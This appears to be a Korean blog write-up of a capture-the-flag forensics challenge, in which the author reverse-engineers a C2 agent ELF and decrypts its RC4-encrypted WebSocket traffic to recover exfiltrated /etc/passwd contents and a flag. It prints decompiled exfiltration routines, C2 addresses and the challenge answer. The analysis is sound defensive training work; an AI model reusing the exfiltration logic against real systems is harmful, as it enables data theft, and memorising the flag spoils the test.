Logo
Overview
[FIESTA 2025] 시나리오 1-3

[FIESTA 2025] 시나리오 1-3

September 29, 2025
5 min read

시나리오 1-3

지금 주어진 것들은 1-1에서 확보했던 방화벽의 네트워크 패킷 캡처 파일과 1-3 문제에서 제공하는 agent ELF파일이다.

1-1 recall: 사내 A 서버에서 15.164.209.134(MDNS포트 5353)과 43.200.69.196(HTTP/80) 주기적 통신 채증, 방화벽 우회를 위해 DNS TXT 응답, WebSocket Handshake를 통해 통신을 은닉함.

  1. Packet Evidence

네트워크에서 더 건질게 있나 확인하기 위해 15.164.209.134↔43.200.69.196 응답 중

rqx8X+kGqDopsbr9ohmdd4eD7toWoPR9cnz9b1vWC6jcsjqRfKFwW9AJ7Zp8np8SjA==

해당 base64 문자열을 다수 포착했다.

Screenshot 2025-09-29 at 19.11.52

43.200.69.196와 트래픽은 WebSocket handshake 이후 1349Byte의 바이너리 프레임으로 종료된다. 프레임은 base64 문자열 2개가 | 로 구분되는 형식이였다.

  1. ELF Evidence

main에서 난수 초기화 후 xNc7fT5G.isra.0() 호출한다.

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v5; // ebx
const char *v6; // rcx
__int64 v7; // rdi
int v8; // edx
int v9; // eax
int v10; // esi
int v12; // ebx
unsigned int v13; // eax
_DWORD vars0[94]; // [rsp+0h] [rbp+0h] BYREF
v5 = 1;
memset(vars0, 0, 0x148u);
vars0[64] = 5;
vars0[81] = 53;
if ( argc > 1 )
{
do
{
v6 = argv[v5];
v7 = v5;
v8 = *(unsigned __int8 *)v6;
v9 = v8 - 45;
if ( v8 == 45 )
{
v9 = *((unsigned __int8 *)v6 + 1) - 100;
if ( v6[1] == 100 )
v9 = *((unsigned __int8 *)v6 + 2);
}
v10 = v5 + 1;
if ( v9 )
{
if ( v8 != 45 )
goto LABEL_16;
if ( v6[1] == 116 && !v6[2] )
{
if ( argc > v10 )
{
v5 += 2;
vars0[64] = strtoq(argv[v7 + 1], 0, 10);
continue;
}
LABEL_9:
if ( v6[1] == 112 && !v6[2] )
{
if ( argc <= v10 )
break;
v5 += 2;
vars0[81] = strtoq(argv[v7 + 1], 0, 10);
continue;
}
LABEL_16:
++v5;
continue;
}
}
else if ( argc > v10 )
{
v5 += 2;
j_strncpy_ifunc(vars0, argv[v7 + 1], 255);
continue;
}
if ( v8 != 45 )
goto LABEL_16;
if ( v6[1] != 105 || v6[2] )
goto LABEL_9;
if ( argc <= v10 )
break;
v5 += 2;
j_strncpy_ifunc(&vars0[65], argv[v7 + 1], 63);
}
while ( argc > v5 );
}
if ( LOBYTE(vars0[0]) )
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
v12 = time(0);
v13 = getpid();
srandom(v12 ^ v13);
xNc7fT5G_isra_0(vars0);
}
return 1;
}

ELF 분석 하던 중 핵심 함수들을 정리해보겠다.

__int64 __fastcall tJp3mE5V_constprop_0(__int64 a1, unsigned __int64 a2, __int64 *a3)
{
...
if ( a2 <= 2 )
{
v15 = 1;
v14 = 0;
}
else
{
v11 = 3;
do
{
v10 += 4;
v12 = (*(unsigned __int8 *)(a1 + v11 - 2) << 8) | (*(unsigned __int8 *)(a1 + v11 - 3) << 16);
v13 = v12 | *(unsigned __int8 *)(a1 + v11 - 1);
*((_DWORD *)v10 - 1) = (unsigned __int8)b64tab[v12 >> 18]
| (((unsigned __int8)b64tab[(v12 >> 12) & 0x3F]
| (((unsigned __int8)b64tab[(v13 >> 6) & 0x3F] | ((unsigned __int8)b64tab[v13 & 0x3F] << 8)) << 8)) << 8);
v14 = v11;
v11 += 3LL;
}
while ( a2 >= v11 );
v15 = v14 + 1;
}
if ( a2 == v15 )
{
v10 += 4;
v21 = *(unsigned __int8 *)(a1 + v14);
v22 = (16 * (_BYTE)v21) & 0x30;
LOBYTE(v21) = b64tab[v21 >> 2];
*(v10 - 3) = b64tab[v22];
*(v10 - 4) = v21;
*((_WORD *)v10 - 1) = 15677;
}
else if ( a2 == v14 + 2 )
{
v17 = *(unsigned __int8 *)(a1 + v14);
v18 = *(unsigned __int8 *)(a1 + v15);
v10[3] = 61;
v10 += 4;
v17 <<= 16;
*(v10 - 4) = b64tab[v17 >> 18];
v19 = v17 | (v18 << 8);
v20 = v19 >> 6;
LOBYTE(v19) = b64tab[(v19 >> 12) & 0x3F];
*(v10 - 2) = b64tab[v20 & 0x3C];
*(v10 - 3) = v19;
}
*v10 = 0;
a3[1] = (__int64)&v10[-v9];
return 0;
}

tJp3mE5V.constprop.0 : 메모리 블록을 Base64 인코딩.

__int64 __fastcall dLp1vK3W_constprop_0(__int64 a1, __int64 a2, unsigned __int64 a3, __int64 *a4)
{
...
j_memcpy(a4[1] + v9, a2, a3);
v10 = a4[1];
v11 = v42;
v12 = (__m128i *)v42;
si128 = _mm_load_si128((const __m128i *)&xmmword_4C5F40);
a4[1] = a3 + v10;
v14 = _mm_shuffle_epi32(_mm_cvtsi32_si128(4u), 0);
v15 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0x10u), 0);
v16 = _mm_shuffle_epi32(_mm_cvtsi32_si128(8u), 0);
v17 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xCu), 0);
v18 = _mm_shuffle_epi32(_mm_cvtsi32_si128(0xFF00FFu), 0);
do
{
v19 = si128;
++v12;
v20 = _mm_add_epi32(si128, v14);
v21 = _mm_unpacklo_epi16(si128, v20);
v22 = _mm_unpackhi_epi16(si128, v20);
si128 = _mm_add_epi32(si128, v15);
v23 = v21;
v24 = _mm_unpacklo_epi16(v21, v22);
v25 = _mm_unpackhi_epi16(v23, v22);
v26 = v19;
v27 = _mm_add_epi32(v19, v17);
v28 = _mm_unpacklo_epi16(v24, v25);
v29 = _mm_add_epi32(v26, v16);
v30 = _mm_unpacklo_epi16(v29, v27);
v31 = _mm_unpackhi_epi16(v29, v27);
v12[-1] = _mm_packus_epi16(
_mm_and_si128(v28, v18),
_mm_and_si128(_mm_unpacklo_epi16(_mm_unpacklo_epi16(v30, v31), _mm_unpackhi_epi16(v30, v31)), v18));
}
while ( v12 != (__m128i *)&v43 );
v32 = 0;
v33 = 0;
do
{
v34 = v33;
v35 = *v11;
++v33;
++v11;
v32 += v35 + *(unsigned __int8 *)(a1 + (v34 & 0x3F));
*(v11 - 1) = v42[(unsigned __int8)v32];
v42[(unsigned __int8)v32] = v35;
}
while ( v33 != 256 );
result = *a4;
if ( a3 )
{
v37 = result + v10;
v38 = (_BYTE *)(result + a3 + v10);
v39 = 0;
v40 = 1 - (result + v10);
do
{
v41 = (unsigned __int8)v42[(unsigned __int8)(v40 + v37)];
v39 += v41;
v42[(unsigned __int8)(v40 + v37)] = v42[(unsigned __int8)v39];
v42[(unsigned __int8)v39] = v41;
result = (unsigned __int8)v42[(unsigned __int8)(v42[(unsigned __int8)(v40 + v37)] + v41)];
*(_BYTE *)v37++ ^= result;
}
while ( (_BYTE *)v37 != v38 );
}
return result;
}

dLp1vK3W.constprop.0 : 디렉터리/파일 열람 및 RC4 S-box 초기화.

__int64 __fastcall fZr2bH9X_isra_0(__int64 a1, __int64 a2, unsigned __int64 a3, int a4, _BYTE *a5)
{
...
v17 = socket(*(v16 + 4), *(v16 + 8), *(v16 + 12), v15);
v18 = v17;
if ( v17 >= 0 )
{
if ( !connect(v17, *(v16 + 24), *(v16 + 16)) )
{
v19 = v82;
freeaddrinfo(v84);
v89[0] = v18;
do
*v19++ = rand();
while ( v19 != &v83 );
v84 = 0;
v85 = 0;
v20 = tJp3mE5V_constprop_0(v82, 16, &v84);
v21 = v84;
if ( !v20 )
{
v22 = snprintf(
v90,
1024,
"GET %s HTTP/1.1\\r\\n"
"Host: %s:%d\\r\\n"
"Upgrade: websocket\\r\\n"
"Connection: Upgrade\\r\\n"
"Sec-WebSocket-Key: %s\\r\\n"
"Sec-WebSocket-Version: 13\\r\\n"
"\\r\\n",
&v89[66],
&v89[1],
v89[65]);
free(v21);
v85 = 0;
result = send(v89[0], v90, v22, 0);
v23 = v89[0];
if ( result == v22 )
{
result = recv(v89[0], v91, 2047, 0);
if ( result > 0 )
{
v24 = 1;
if ( a3 < 0xFFFFFFFFFFFF8001LL && a3 != 0 )
v24 = (a3 + 0x7FFF) >> 15;
v57 = v24;
v54 = 0;
while ( 1 )
{
v25 = (v54 << 15) + 0x8000;
if ( v25 > a3 )
v25 = a3;
v26 = v25 - (v54 << 15);
v27 = *a5 ? "%s|%zu|%zu|%zu|%s" : "%s|%zu|%zu|%zu";
v28 = 1024;
v29 = 0;
snprintf(v90, 1024, v27, a4, v54, v57);
srandom(15852074);
do
{
v30 = random(15852074, v28);
v28 = JB8qL4;
v82[v29] = JB8qL4[v29] ^ BYTE2(v30);
++v29;
}
while ( v29 != 64 );
v31 = 15852074;
v32 = 0;
srandom(15852074);
do
{
v33 = random(v31, JB8qL4);
v31 = NY1sP6;
*(&v84 + v32) = NY1sP6[v32] ^ BYTE2(v33);
++v32;
}
while ( v32 != 64 );
...
}
return result;
}

fZr2bH9X_isra_0 : 웹 소켓 보내는 곳

__srandom(0xf1e22a) + __random() 반복 호출 → 0x40 바이트 키 스트림 생성.

생성된 난수는 로데이터 테이블 JB8qL4(0x4c5e40)·NY1sP6(0x4c5e00)과 XOR되어 최종 RC4 키 두 개를 만듦.

첫 번째 RC4 키로 메타데이터 블록을 암호화 후 Base64 인코딩, 두 번째 키로 실제 페이로드 암호화.

송신 포맷은 @@ws://%s|%zu|%zu|... 템플릿 기반이며 WebSocket 텍스트 프레임으로 전송됨.

모든 로직을 다 알았으니 이제 복호화를 해야한다.

C2 통신 프로토콜을 암호화 해제하자.

우선 웹 소켓 보낸 것들을 모두 파일로 저장했다. 모든 세션 해시가 동일해서 최초 세션만 분석하면 충분하다.

Screenshot 2025-09-29 at 19.25.02

payload = Path('frame0.bin').read_text()
chunk_meta, chunk_data = payload.split('|')
meta_b = base64.b64decode(chunk_meta)
data_b = base64.b64decode(chunk_data)

agent 로직을 따라 glibc random() PRNG를 동일하게 구동해야 RC4 키를 재현할 수 있다.

libc.srandom(0xf1e22a)
key = bytes(((libc.random() >> 16) & 0xff) ^ table[i] for i in range(0x40))

키 생성 코드

복호화는 RC4(KSA/PRGA)를 그대로 구현해서 수행했다.

그리고 rowdata table 추출 및 키 재현 수행

KEY_TABLE1 = 0x4c5e40 # JB8qL4
KEY_TABLE2 = 0x4c5e00 # NY1sP6
key1 = derive_rc4_key(KEY_TABLE1)
key2 = derive_rc4_key(KEY_TABLE2)

RC4로 메타블록과 데이터 블록 복호화를 거치면

meta_plain = rc4(key1, meta_b)
data_plain = rc4(key2, data_b)

meta_plain: 95|0|1|985|/secret/flag

data_plain:

Screenshot 2025-09-29 at 19.29.07

전체 페이로드는 /etc/passwd 파일 내용으로 보이며 RC4로 암호화된 후 WebSocket 프레임에 실려 전송된다.

fiesta{9116e22e132b3e550f0c97c3e11e64a6}